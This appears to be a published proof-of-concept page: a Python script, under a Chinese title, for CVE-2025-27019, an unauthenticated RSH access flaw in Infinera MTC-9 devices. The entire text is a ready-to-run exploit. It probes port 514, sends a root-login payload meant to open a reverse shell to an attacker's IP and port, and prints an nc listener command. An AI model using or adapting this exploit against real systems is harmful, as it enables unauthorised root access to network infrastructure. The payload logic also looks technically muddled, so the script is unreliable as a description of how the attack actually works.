CVE-2025-27019 Infinera MTC-9 远程Shell服务未授权访问漏洞

#!/usr/bin/env python3 # CVE-2025-27019 PoC - Infinera MTC-9 RSH Unauthenticated Access # This PoC demonstrates the vulnerability in RSH service import socket import sys import time def check_rsh_service(target_ip, target_port=514): """Check if RSH service is accessible""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) result = sock.connect_ex((target_ip, target_port)) sock.close() return result == 0 except Exception as e: print(f"[-] Connection error: {e}") return False def exploit_rsh(target_ip, attacker_ip, attacker_port): """ Exploit CVE-2025-27019 by triggering reverse shell Note: This is for educational/testing purposes only """ try: # RSH protocol typically uses port 514 # The exploit triggers reverse shell connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, 514)) # RSH protocol format: user@remote_user command # For passwordless accounts, we can directly send commands payload = f"root\n{attacker_ip}\n{attacker_port}\n/bin/bash -i\n" sock.send(payload.encode()) print(f"[*] Sent reverse shell payload to {target_ip}") print(f"[*] Waiting for connection back to {attacker_ip}:{attacker_port}") print(f"[*] Set up listener: nc -lvnp {attacker_port}") sock.close() return True except Exception as e: print(f"[-] Exploit failed: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-27019.py <target_ip> [attacker_ip] [attacker_port]") print("Example: python3 cve-2025-27019.py 192.168.1.100 192.168.1.200 4444") sys.exit(1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] if len(sys.argv) > 2 else "192.168.1.200" attacker_port = sys.argv[3] if len(sys.argv) > 3 else "4444" print(f"[*] Target: {target_ip}") print(f"[*] Attacker: {attacker_ip}:{attacker_port}") if check_rsh_service(target_ip): print("[+] RSH service is accessible") print("[*] Attempting exploitation...") exploit_rsh(target_ip, attacker_ip, int(attacker_port)) else: print("[-] RSH service not accessible or target not vulnerable") if __name__ == "__main__": main()